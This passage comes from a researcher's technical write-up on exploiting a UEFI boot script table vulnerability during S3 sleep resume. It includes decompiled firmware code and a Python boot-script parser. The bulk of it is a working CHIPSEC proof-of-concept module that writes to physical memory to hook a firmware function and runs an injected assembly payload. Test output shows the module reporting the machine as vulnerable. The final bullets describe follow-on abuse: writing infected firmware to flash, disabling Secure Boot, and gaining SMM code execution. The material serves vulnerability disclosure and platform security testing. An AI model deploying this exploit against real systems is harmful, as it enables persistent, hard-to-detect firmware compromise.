v35; pCpuIo->IoRead16(ppPeiServices, pCpuIo, v10, HIWORD(v32), 0, 1, &v42); continue; case 13: // vendor-specific opcode? ParseInstruction(&v32, (const void *)InstructionPtr, 0x20u); InstructionPtr += 32; LODWORD(v11) = sub_FFBB5DE3(v36, HIDWORD(v36), 10, 0); v41 = v11 + 1; v49 = 1; goto LABEL_78; case 2: // EFI_BOOT_SCRIPT_MEM_WRITE_OPCODE ParseInstruction(&v32, (const void *)InstructionPtr, 0x18u); v12 = InstructionPtr + 24; if ((unsigned __int8)(BYTE1(v32) & 0xFC) == 4) v13 = 1; else v13 = v35; v14 = v12; InstructionPtr = v13 * (unsigned __int8)(1 << (BYTE1(v32) & 3)) + v12; pCpuIo->Io(ppPeiServices, pCpuIo, BYTE1(v32), v34, HIDWORD(v34), v35, v14); continue; case 3: // EFI_BOOT_SCRIPT_MEM_READ_WRITE_OPCODE ParseInstruction(&v32, (const void *)InstructionPtr, 0x20u); v15 = BYTE1(v32) & 3; InstructionPtr += 32; pCpuIo->Mem(ppPeiServices, pCpuIo, BYTE1(v32) & 3, v34, HIDWORD(v34), 1, &v42); v42 = v35 | v42 & v36; pCpuIo->Io(ppPeiServices, pCpuIo, v15, v34, HIDWORD(v34), 1, &v42); continue; case 14: // vendor-specific opcode? ParseInstruction(&v32, (const void *)InstructionPtr, 0x28u); InstructionPtr += 40; LODWORD(v16) = sub_FFBB5DE3(v37, v38, 10, 0); v41 = v16 + 1; v49 = 1; goto LABEL_90; case 11: // EFI_BOOT_SCRIPT_PCI_CONFIG2_WRITE_OPCODE ParseInstruction(&v32, (const void *)InstructionPtr, 0x20u); InstructionPtr += 32; if (v36) pPciCfg = (EFI_PEI_PCI_CFG_PPI *)sub_FFBB557D(ppPeiServices, v36); if (!pPciCfg) goto LABEL_97; v49 = 1; goto LABEL_28; case 4: LABEL_28: // EFI_BOOT_SCRIPT_PCI_CONFIG_WRITE_OPCODE if (!v49) { ParseInstruction(&v32, (const void *)InstructionPtr, 0x18u); InstructionPtr += 24; } v44 = BYTE1(v32) & 3; v17 = __PAIR__(BYTE1(v32), (unsigned int)v35) & 0xFFFFFFFCFFFFFFFF; LOBYTE(v45) = 1 << (BYTE1(v32) & 3); v40 = v35; v48 = InstructionPtr; if ((unsigned __int8)(BYTE1(v32) & 0xFC) == 4) LODWORD(v17) = 1; v46 = 0; v18 = v17 * (unsigned __int8)(1 << (BYTE1(v32) & 3)); InstructionPtr += v18; if (!v35) goto LABEL_41; break; case 12: // EFI_BOOT_SCRIPT_PCI_CONFIG2_READ_WRITE_OPCODE ParseInstruction(&v32, (const void *)InstructionPtr, 0x28u); InstructionPtr += 40; if (v37) { pPciCfg_ = sub_FFBB557D(ppPeiServices, v37); pPciCfg = pPciCfg_; } else { pPciCfg_ = pPciCfg; } if (!pPciCfg_) goto LABEL_97; v49 = 1; goto LABEL_50; case 5: // EFI_BOOT_SCRIPT_PCI_CONFIG_READ_WRITE_OPCODE pPciCfg_ = pPciCfg; LABEL_50: if (!v49) { ParseInstruction(&v32, (const void *)InstructionPtr, 0x20u); InstructionPtr += 32; } v23 = BYTE1(v32) & 3; pPciCfg_->Read(ppPeiServices, pPciCfg_, BYTE1(v32) & 3, v34, HIDWORD(v34), &v42); v42 = v35 | v42 & v36; pPciCfg_->Write(ppPeiServices, pPciCfg_, v23, v34, HIDWORD(v34), &v42); if (!v49) continue; pPeiServices = *ppPeiServices; goto LABEL_43; case 16: // unknown vendor-specific opcode? ParseInstruction(&v32, (const void *)InstructionPtr, 0x30u); InstructionPtr += 48; if (v39) pPciCfg = (EFI_PEI_PCI_CFG_PPI *)sub_FFBB557D(ppPeiServices, v39); if (!pPciCfg) goto LABEL_97; v49 = 1; goto LABEL_58; case 15: LABEL_58: // unknown vendor-specific opcode? if (!v49) { ParseInstruction(&v32, (const void *)InstructionPtr, 0x28u); InstructionPtr += 40; v49 = 1; } LODWORD(v24) = sub_FFBB5DE3(v37, v38, 10, 0); v41 = v24 + 1; goto LABEL_61; case 6: // EFI_BOOT_SCRIPT_SMBUS_EXECUTE_OPCODE ParseInstruction(&v32, (const void *)InstructionPtr, 0x17u); v26 = InstructionPtr + 23; InstructionPtr += *(_DWORD *)((char *)&v34 + 7) + 23; pSmbus2->Execute( pSmbus2, *(unsigned int *)((char *)&v32 + 2), v33, *(_DWORD *)((char *)&v34 + 2), *(_DWORD *)((char *)&v34 + 6), (char *)&v34 + 7, v26 ); continue; case 7: // EFI_BOOT_SCRIPT_STALL_OPCODE ParseInstruction(&v32, (const void *)InstructionPtr, 0x10u); InstructionPtr += 16; pStall->Stall(ppPeiServices, pStall, v34); continue; case 8: // EFI_BOOT_SCRIPT_DISPATCH_OPCODE ParseInstruction(&v32, (const void *)InstructionPtr, 0x10u); InstructionPtr += 16; goto LABEL_73; case 9: // EFI_BOOT_SCRIPT_MEM_POLL_OPCODE ParseInstruction(&v32, (const void *)InstructionPtr, 0x18u); InstructionPtr += 24; LABEL_73: ((void (__cdecl *)(_DWORD, PVOID *))v34)(0, ppPeiServices); continue; case 10: // EFI_BOOT_SCRIPT_INFORMATION_OPCODE InstructionPtr += 16; continue; default: goto LABEL_97; } while (1) { pPciCfg->Write(ppPeiServices, pPciCfg, v44, v34, HIDWORD(v34), v48); if (!HIDWORD(v17)) break; if (HIDWORD(v17) == 4) { v48 += v18; } else { if (HIDWORD(v17) == 8) goto LABEL_39; } LABEL_40: ++v46; if (v46 >= v40) { LABEL_41: if (v49) { pPeiServices = *ppPeiServices; goto LABEL_43; } goto LABEL_7; } } v48 += v18; LABEL_39: LODWORD(v19) = sub_FFBB5560(v34, HIDWORD(v34), v45); v34 = v19; goto LABEL_40; } if (!v49) { ParseInstruction(&v32, (const void *)InstructionPtr, 0x18u); InstructionPtr += 24; } LABEL_78: v27 = BYTE1(v32) & 3; do { pCpuIo->IoRead8(ppPeiServices, pCpuIo, v27, HIWORD(v32), 0, 1, &v42); v42 &= v34; if (v49) { pStall->Stall(ppPeiServices, pStall, 1); v25 = __CFADD__((_DWORD)v41, -1); LODWORD(v41) = v41 - 1; HIDWORD(v41) = v25 + HIDWORD(v41) - 1; if (!v41) v42 = v35; } } while (v42 != v35); LABEL_95: v49 = 0; continue; } v28 = Opcode - 0x81; if (!v28) { if (!v49) { ParseInstruction(&v32, (const void *)InstructionPtr, 0x20u); InstructionPtr += 32; } LABEL_90: v31 = BYTE1(v32) & 3; do { pCpuIo->Mem(ppPeiServices, pCpuIo, v31, v34, HIDWORD(v34), 1, &v42); v42 &= v35; if (v49) { pStall->Stall(ppPeiServices, pStall, 1); v25 = __CFADD__((_DWORD)v41, -1); LODWORD(v41) = v41 - 1; HIDWORD(v41) = v25 + HIDWORD(v41) - 1; if (!v41) v42 = v36; } } while (v42 != v36); goto LABEL_95; } v29 = v28 - 1; if (v29) break; LABEL_61: if (!v49) { ParseInstruction(&v32, (const void *)InstructionPtr, 0x20u); InstructionPtr += 32; } v44 = BYTE1(v32) & 3; do { pPciCfg->Read(ppPeiServices, pPciCfg, v44, v34, HIDWORD(v34), &v42); v42 &= v35; if (v49) { pStall->Stall(ppPeiServices, pStall, 1); v25 = __CFADD__((_DWORD)v41, -1); LODWORD(v41) = v41 - 1; HIDWORD(v41) = v25 + HIDWORD(v41) - 1; if (!v41) v42 = v36; } } while (v42 != v36); if (v49) { pPeiServices = *ppPeiServices; LABEL_43: pPciCfg__ = (EFI_PEI_PCI_CFG_PPI *)*((_DWORD *)pPeiServices + 25); v49 = 0; pPciCfg = pPciCfg__; } } v30 = v29 - 1; if (!v30) { InstructionPtr += *(_DWORD *)(InstructionPtr + 4) + 8; goto LABEL_7; } if (v30 == 0x7C) { result = 0; } else { LABEL_97: result = 0x80000003u; } return result; }
Now we can recover the rest part of the boot script table format from the above code and write a basic parser that able to process EFI_BOOT_SCRIPT_MEM_WRITE_OPCODE, EFI_BOOT_SCRIPT_PCI_CONFIG_WRITE_OPCODE, EFI_BOOT_SCRIPT_IO_WRITE_OPCODE and EFI_BOOT_SCRIPT_DISPATCH_OPCODE which is enough to decode the most interesting boot script table entries:
from struct import pack, unpack def _at(data, off, size, fmt): return unpack(fmt, data[off : off + size])[0] # helper functions for accessing binary structures data def byte_at(data, off = 0): return _at(data, off, 1, 'B') def word_at(data, off = 0): return _at(data, off, 2, 'H') def dword_at(data, off = 0): return _at(data, off, 4, 'I') def qword_at(data, off = 0): return _at(data, off, 8, 'Q') class BootScriptParser(object): def __init__(self, quiet = False): self.quiet = quiet def value_at(self, data, off, width): # read boot script value of given type if width == self.EfiBootScriptWidthUint8: return byte_at(data, off) elif width == self.EfiBootScriptWidthUint16: return word_at(data, off) elif width == self.EfiBootScriptWidthUint32: return dword_at(data, off) elif width == self.EfiBootScriptWidthUint64: return qword_at(data, off) else: raise Exception('Invalid width 0x%x' % width) def width_size(self, width): # get actual size of the boot script value by size id if width == self.EfiBootScriptWidthUint8: return 1 elif width == self.EfiBootScriptWidthUint16: return 2 elif width == self.EfiBootScriptWidthUint32: return 4 elif width == self.EfiBootScriptWidthUint64: return 8 else: raise Exception('Invalid width 0x%x' % width) def log(self, data): if not self.quiet: print data def process_mem_write(self, width, addr, count, val): self.log(('Width: %s, Addr: 0x%.16x, Count: %d\n' + \ 'Value: %s\n') % \ (self.boot_script_width[width], addr, count, \ ', '.join(map(lambda v: hex(v), val)))) def process_pci_config_write(self, width, bus, dev, fun, off, count, val): self.log(('Width: %s, Count: %d\n' + \ 'Bus: 0x%.2x, Device: 0x%.2x, Function: 0x%.2x, Offset: 0x%.2x\n' + \ 'Value: %s\n') % \ (self.boot_script_width[width], count, bus, dev, fun, off, \ ', '.join(map(lambda v: hex(v), val)))) def process_io_write(self, width, port, count, val): self.log(('Width: %s, Port: 0x%.4x, Count: %d\n' + \ 'Value: %s\n') % \ (self.boot_script_width[width], port, count, \ ', '.join(map(lambda v: hex(v), val)))) def process_dispatch(self, addr): self.log('Call addr: 0x%.16x' % (addr) + '\n') def read_values(self, data, width, count): values = [] for i in range(0, count): # read single value of given width values.append(self.value_at(data, i * self.width_size(width), width)) return values def parse(self, data, boot_script_addr = 0L): ptr = 0 while data: # read boot script table entry header num, size, op = unpack('IIB', data[:9]) # check for the end of the table if op == 0xff: self.log('# End of the boot script at offset 0x%x' % ptr) break elif op >= len(self.boot_script_ops): raise Exception('Invalid op 0x%x' % op) self.log('#%d len=%d %s' % (num, size, self.boot_script_ops[op])) # process known opcodes if op == self.EFI_BOOT_SCRIPT_MEM_WRITE_OPCODE: # get value information width, count = byte_at(data, 9), qword_at(data, 24) # get write adderss addr = qword_at(data, 16) # get values list values = self.read_values(data[32:], width, count) self.process_mem_write(width, addr, count, values) elif op == self.EFI_BOOT_SCRIPT_PCI_CONFIG_WRITE_OPCODE: # get value information width, count = byte_at(data, 9), qword_at(data, 24) # get write adderss addr = qword_at(data, 16) # get PCI device address bus, dev, fun, off = (addr >> 24) & 0xff, (addr >> 16) & 0xff, \ (addr >> 8) & 0xff, (addr >> 0) & 0xff # get values list values = self.read_values(data[32:], width, count) self.process_pci_config_write(width, bus, dev, fun, off, count, values) elif op == self.EFI_BOOT_SCRIPT_IO_WRITE_OPCODE: # get value information width, count = byte_at(data, 9), qword_at(data, 16) # get I/O port number port = word_at(data, 10) # get values list values = self.read_values(data[24:], width, count) self.process_io_write(width, port, count, values) elif op == self.EFI_BOOT_SCRIPT_DISPATCH_OPCODE: # get call address addr = qword_at(data, 16) self.process_dispatch(addr) else: # skip unknown instruction pass # go to the next instruction data = data[size:] ptr += size EFI_BOOT_SCRIPT_IO_WRITE_OPCODE = 0x00 EFI_BOOT_SCRIPT_IO_READ_WRITE_OPCODE = 0x01 EFI_BOOT_SCRIPT_MEM_WRITE_OPCODE = 0x02 EFI_BOOT_SCRIPT_MEM_READ_WRITE_OPCODE = 0x03 EFI_BOOT_SCRIPT_PCI_CONFIG_WRITE_OPCODE = 0x04 EFI_BOOT_SCRIPT_PCI_CONFIG_READ_WRITE_OPCODE = 0x05 EFI_BOOT_SCRIPT_SMBUS_EXECUTE_OPCODE = 0x06 EFI_BOOT_SCRIPT_STALL_OPCODE = 0x07 EFI_BOOT_SCRIPT_DISPATCH_OPCODE = 0x08 boot_script_ops = [ 'IO_WRITE', 'IO_READ_WRITE', 'MEM_WRITE', 'MEM_READ_WRITE', 'PCI_CONFIG_WRITE', 'PCI_CONFIG_READ_WRITE', 'SMBUS_EXECUTE', 'STALL', 'DISPATCH' ] EfiBootScriptWidthUint8 = 0 EfiBootScriptWidthUint16 = 1 EfiBootScriptWidthUint32 = 2 EfiBootScriptWidthUint64 = 3 EfiBootScriptWidthFifoUint8 = 4 EfiBootScriptWidthFifoUint16 = 5 EfiBootScriptWidthFifoUint32 = 6 EfiBootScriptWidthFifoUint64 = 7 EfiBootScriptWidthFillUint8 = 8 EfiBootScriptWidthFillUint16 = 9 EfiBootScriptWidthFillUint32 = 10 EfiBootScriptWidthFillUint64 = 11 boot_script_width = [ 'Uint8', 'Uint16', 'Uint32', 'Uint64', 'FifoUint8', 'FifoUint16', 'FifoUint32', 'FifoUint64', 'FillUint8', 'FillUint16', 'FillUint32', 'FillUint64' ]
Exploiting vulnerability
Dumped boot script table has around one thousand entries, here’s a text dump of some from the beginning of the table:
UEFI boot script addr = 0xd5f4c018 #0 len=33 MEM_WRITE Width: Uint8, Addr: 0x00000000fec00000, Count: 1 Value: 0x0 #1 len=36 MEM_WRITE Width: Uint32, Addr: 0x00000000fec00004, Count: 1 Value: 0x8000000 #2 len=33 MEM_WRITE Width: Uint8, Addr: 0x00000000fec00000, Count: 1 Value: 0x10 #3 len=36 MEM_WRITE Width: Uint32, Addr: 0x00000000fec00004, Count: 1 Value: 0x700 #4 len=36 MEM_WRITE Width: Uint32, Addr: 0x00000000fed1f404, Count: 1 Value: 0x80 #5 len=40 MEM_READ_WRITE 000000ae: 05 00 00 00 28 00 00 00 03 02 00 00 00 00 00 00 | ................ 000000be: 14 90 d1 fe 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 000000ce: 01 00 00 00 00 00 00 00 | ........ #6 len=40 MEM_READ_WRITE 000000d6: 06 00 00 00 28 00 00 00 03 00 00 00 00 00 00 00 | ................ 000000e6: 04 90 d1 fe 00 00 00 00 01 00 00 00 00 00 00 00 | ................ 000000f6: f8 00 00 00 00 00 00 00 | ........ #7 len=40 MEM_READ_WRITE 000000fe: 07 00 00 00 28 00 00 00 03 02 00 00 00 00 00 00 | ................ 0000010e: 20 90 d1 fe 00 00 00 00 02 00 00 01 00 00 00 00 | ................ 0000011e: 01 ff ff f8 00 00 00 00 | ........ #8 len=40 MEM_READ_WRITE 00000126: 08 00 00 00 28 00 00 00 03 02 00 00 00 00 00 00 | ................ 00000136: 20 90 d1 fe 00 00 00 00 00 00 00 80 00 00 00 00 | ................ 00000146: ff ff ff ff 00 00 00 00 | ........ #9 len=24 DISPATCH Call addr: 0x00000000d5ddf260 ... around 1000 of other boot script table entries that was skipped, full dump is here
As you can see, this table has an EFI_BOOT_SCRIPT_DISPATCH_OPCODE entry (#9) that used to call firmware function at address 0xd5ddf260. Original description of the attack supposes insertion of malicious EFI_BOOT_SCRIPT_DISPATCH_OPCODE entry into the table, but in practice, when attacker needs to deal with a lot of different firmware versions from different manufacturers, it might be better to avoid boot script table modification and hook machine code of firmware functions that original boot script calls.
Let’s start to write PoC exploit using Python and CHIPSEC, platform security assessment framework from Intel. Several worlds from it's official description:
CHIPSEC is a framework for analyzing security of PC platforms including hardware, system firmware including BIOS/UEFI and the configuration of platform components. It allows creating security test suite, security assessment tools for various low level components and interfaces as well as forensic capabilities for firmware
CHIPSEC can run on any of these environments:
- Windows (client and server)
- Linux
- UEFI Shell
CHIPSEC already has an excellent set of different tests, they covers almost all known attacks against SMM, Secure Boot, BIOS updates, flash write protection and others. So, I decided to implement my boot script table vulnerability PoC as CHIPSEC module mostly for having a full set of BIOS exploits as one single tool. Of course, it's also possible to implement this exploit in C as standalone Linux kernel module, Windows driver, or something other to your taste.
New module can be created from template:
$ cd chipsec/source/tool/chipsec/modules $ cp module_template.py boot_script_table.py && vim boot_script_table.pyModule skeleton example:
from chipsec.module_common import * # import required API from chipsec.hal.uefi import * from chipsec.hal.physmem import * _MODULE_NAME = 'boot_script_table' class boot_script_table(BaseModule): def exploit(self): # # Main exploit code. # Possible return values: # - ModuleResult.FAILED - vulnerable # - ModuleResult.PASSED - not vulnerable # - ModuleResult.ERROR - exploitation error # # ... # def is_supported(self): # TODO: check for supported hardware and/or OS return True # -------------------------------------------------------------------------- # run(module_argv) # Required function: run here all tests from this module # -------------------------------------------------------------------------- def run(self, module_argv): return self.exploit()
First we need to obtain a boot script table contents:
EFI_VAR_NAME = 'AcpiGlobalVariable' EFI_VAR_GUID = 'af9ffd67-ec10-488a-9dfc-6cbf5ee22c2e' def _efi_read_u32(self, name, guid): return dword_at(self._uefi.get_EFI_variable(name, guid, None)) def _mem_read(self, addr, size): # align memory reads by 1000h read_addr = addr & 0xfffffffffffff000 read_size = size + addr - read_addr data = self._memory.read_physical_mem(read_addr, read_size) return data[addr - read_addr :] # read ACPI global variable structure data AcpiGlobalVariable = self._efi_read_u32(self.EFI_VAR_NAME, self.EFI_VAR_GUID) # get boot script table address data = self._mem_read(AcpiGlobalVariable, 0x20) boot_script_addr = dword_at(data, 0x18) # read boot script contents boot_script = self._mem_read(boot_script_addr, 0x8000)
Now let’s use modified version of BootScriptParser class to get a function address from the first EFI_BOOT_SCRIPT_DISPATCH_OPCODE table entry:
class CustomBootScriptParser(BootScriptParser): class AddressFound(Exception): def __init__(self, addr): self.addr = addr def process_dispatch(self, addr): # pass dispatch instruction operand (function address) to the caller raise self.AddressFound(addr) def parse(self, data, boot_script_addr = 0L): try: BootScriptParser.parse(self, data, \ boot_script_addr = boot_script_addr) except self.AddressFound as e: return e.addr # boot script doesn't have any dispatch instructions return None # parse boot script and get address of the native function to hook func_addr = self.CustomBootScriptParser(quiet = True).parse(boot_script)
Now we need to implement machine code hooking (a classical splicing method), let’s take capstone engine as disassembler library. Also, this function locates unused space at at the end of the code section of executable image to place exploit payload and original function instructions there:
JUMP_32_LEN = 5 JUMP_64_LEN = 14 def _mem_write(self, addr, data): self._memory.write_physical_mem(addr, len(data), data) def _disasm(self, data): import capstone # get instruction length and mnemonic dis = capstone.Cs(capstone.CS_ARCH_X86, capstone.CS_MODE_32) for insn in dis.disasm(data, len(data)): return insn.mnemonic + ' ' + insn.op_str, insn.size def _jump_32(self, src, dst): print 'Jump from 0x%x to 0x%x' % (src, dst) addr = pack('I', (dst - src - self.JUMP_32_LEN) & 0xffffffff) return '\xe9' + addr def _find_zero_bytes(self, addr, size): # search for zero bytes at the end of the code page addr = (addr & 0xfffff000) + 0x1000 while True: if self._mem_read(addr - size, size) == '\0' * size: addr -= size break addr += 0x1000 return addr def _hook(self, addr, payload): if self._mem_read(addr, 1) == '\xe9': print 'ERROR: Already patched' return None hook_size = 0 # read 0x40 bytes of function code data = self._mem_read(addr, 0x40) # disassembly first instructions to determinate patch length while hook_size < self.JUMP_32_LEN: mnem, size = self._disasm(data[hook_size:]) hook_size += size print '%d bytes to patch' % hook_size # backup original instructions that will be replaced by patch data = data[:hook_size] # find zero memory for payload, original instructions and jump buff_size = len(payload) + hook_size + self.JUMP_32_LEN buff_addr = self._find_zero_bytes(addr, buff_size) print 'Found %d zero bytes at 0x%x' % (buff_size, buff_addr) # write payload + original instructions + jump back to hooked function buff = payload + data + \ self._jump_32(buff_addr + len(payload) + hook_size, \ addr + hook_size) self._mem_write(buff_addr, buff) # write 32-bit jump from function to payload self._mem_write(addr, self._jump_32(addr, buff_addr)) return buff_addr, buff_size, data # compile assembly code of exploit payload payload = Asm().compile(PAYLOAD) # set up UEFI function hook that executes our payload payload_addr, payload_size, old_instructions = self._hook(dispatch_addr, payload)
Now, when code hijacking part is done, let’s write exploit payload that will be compiled by exploit using nasm via simple Python wrapper. Payload collects very basic information about SMM and flash protection during it's execution, this information will be analysed later:
[bits 32] push eax ; Save original registers values. push edx push esi call _label ; Jump to the main payload code. db 0ffh dd 0 ; Shellcode call counter. db 0 ; Data area to store BIOS_CNTL value. dd 0 ; Data area to store TSEGMB value. _label: pop esi ; Get shellcode data area address. inc esi inc dword [esi] ; Increment shellcode call counter. cmp byte [esi], 1 ; Exit from payload if it was already called. jne _end mov eax, 0x8000f8dc ; BIOS_CNTL register is accessible via PCI config space: mov dx, 0xcf8 ; bus = 0, dev = 0x1f, func = 0, offset = 0xdc. out dx, eax ; Set up PCI read address. mov dx, 0xcfc in al, dx ; Read BIOS_CNTL value. mov byte [esi + 4], al ; Save BIOS_CNTL value to payload data area. mov eax, 0x800000b8 ; TSEGMB is accessible via PCI config space as well: mov dx, 0xcf8 ; bus = 0, dev = 0, func = 0, offset = 0xb8. out dx, eax ; Set up PCI read address. mov dx, 0xcfc in eax, dx ; Read TSEGMB value. mov dword [esi + 5], eax ; Save TSEGMB value to payload data area. _end: pop esi ; End of payload, restore registers values. pop edx pop eax ; ; Here goes original instructions from the hooked function code ; and 32-bit jump to function_addr + patch_len. ;
Now we can trigger payload execution using rtcwake command line utility, which available out of the box on most of modern Linux systems. When payload was executed, we need to read it’s data area back from memory and extract recorded BIOS_CNTL and TSEGMB registers values:
# locate payload data area (9 zero bytes) data_offset = payload.find('\xff' + '\0' * (4 + 1 + 4)) # read payload data area contents from physical memory data = self._mem_read(payload_addr + data_offset + 1, 4 + 1 + 4) # parse binary structure count, BIOS_CNTL, TSEGMB = unpack('=IBI', data) if count == 0: print 'ERROR: shellcode was not executed during S3 resume' return ModuleResult.ERROR
According to original paper, BLE bit of BIOS_CNTL is not set during boot script execution as well as lock bit of TSEGMB. Let's implement these checks with obtained values:
# get bit at given position bitval = lambda val, b: 0L if val & (1L << b) == 0 else 1L success = True # check if access to flash is locked with bios lock enable bit of BIOS_CNTL if bitval(BIOS_CNTL, 1) == 0: print '[!] Bios lock enable bit is not set' success = False # check if access to SMRAM via DMA is locked with TSEGMB lock bit if TSEGMB & 1 == 0: print '[!] SMRAM is not locked' success = False return ModuleResult.PASSED if success else ModuleResult.FAILED
Obviously, it will be better to examine platform state during shellcode execution more adequate, there's a lot of other BIOS and SMM security features, not only described two bits. To get complete pwnage of SPI flash for all motherboards that available at the market, we need to defeat another layer in addition to BLE bit: SPI protected ranges. Unfortunately, currently I have problems with reading of SPIBAR contents on my motherboard which is required to get SPI protected ranges information, appropriate module and function from CHIPSEC is also hangs a whole system at this point. From other sources I know, that on my motherboard SPI protected ranges should be properly configured before boot script execution (i.e., flash is secured), but after solving described technical difficulties I still planning to add protected ranges checking functionality to my module. It's also very possible, that SPIBAR access problem is related somehow with two-chip configuration of motherboard (I had seen such boards only several times, and you?).
Starting CHIPSEC with the boot script table PoC module and it's output on my test system:
# python chipsec_main.py --module boot_script_table [helper] Loaded OS helper: chipsec.helper.linux.helper ################################################################ ## ## ## CHIPSEC: Platform Hardware Security Assessment Framework ## ## ## ################################################################ Version 1.1.3 ****** Chipsec Linux Kernel module is licensed under GPL 2.0 [*] loading platform config from '/root/chipsec/source/tool/chipsec/cfg/common.xml'.. [*] loading platform config from '/root/chipsec/source/tool/chipsec/cfg/avn.xml'.. OS : Linux 3.2.60 #23 SMP Sun Jan 4 03:02:06 EST 2015 x86_64 Platform: Desktop 2nd Generation Core Processor (Sandy Bridge CPU / Cougar Point PCH) VID: 8086 DID: 0100 CHIPSEC : 1.1.3 [+] loaded chipsec.modules.boot_script_table [*] running loaded modules .. [*] running module: chipsec.modules.boot_script_table [*] Module path: /root/chipsec/source/tool/chipsec/modules/boot_script_table.py [x][ ======================================================================= [x][ Module: UEFI boot script table vulnerability exploit [x][ ======================================================================= [*] AcpiGlobalVariable = 0xd5f53f18 [*] UEFI boot script addr = 0xd5f4c018 [*] Target function addr = 0xd5ddf260 8 bytes to patch Found 79 zero bytes at 0xd5deafb1 Jump from 0xd5deaffb to 0xd5ddf268 Jump from 0xd5ddf260 to 0xd5deafb1 Going to S3 sleep for 10 seconds ... rtcwake: wakeup from "mem" using /dev/rtc0 at Mon Feb 2 08:07:07 2015 [*] BIOS_CNTL = 0x28 [*] TSEGMB = 0xd7000000 [!] Bios lock enable bit is not set [!] SMRAM is not locked [!] Your system is VULNERABLE [CHIPSEC] *************************** SUMMARY *************************** [CHIPSEC] Time elapsed 15.136 [CHIPSEC] Modules total 1 [CHIPSEC] Modules failed to run 0: [CHIPSEC] Modules passed 0: [CHIPSEC] Modules failed 1: [-] FAILED: chipsec.modules.boot_script_table [CHIPSEC] Modules with warnings 0: [CHIPSEC] Modules skipped 0: [CHIPSEC] ***************************************************************** [CHIPSEC] Version: 1.1.3
Full exploit source code is available at GitHub.
To achieve some profit from vulnerability exploitation it's possible to do the following things:
- If BLE is not set and platform firmware is not using SPI protected ranges or they are not configured yet, attacker can run a shellcode that writes infected firmware image into the flash.
- If BLE is not set and SPI protected ranges are properly configured at the moment of the boot script table execution, shellcode still can do a lot of evil things with UEFI variables, for example, disable Secure Boot or trigger other firmware vulnerabilities.
- If TSEGMB is not locked, shellcode can lock it with a random/incorrect address, later attacker can use DMA buffer hijack technique to get r/w access to the SMRAM via DMA and run arbitrary code in SMM (I think it might be a good direction for my further research). This technique was described in "Subverting the Xen hypervisor" talk by Rafal Wojtczuk.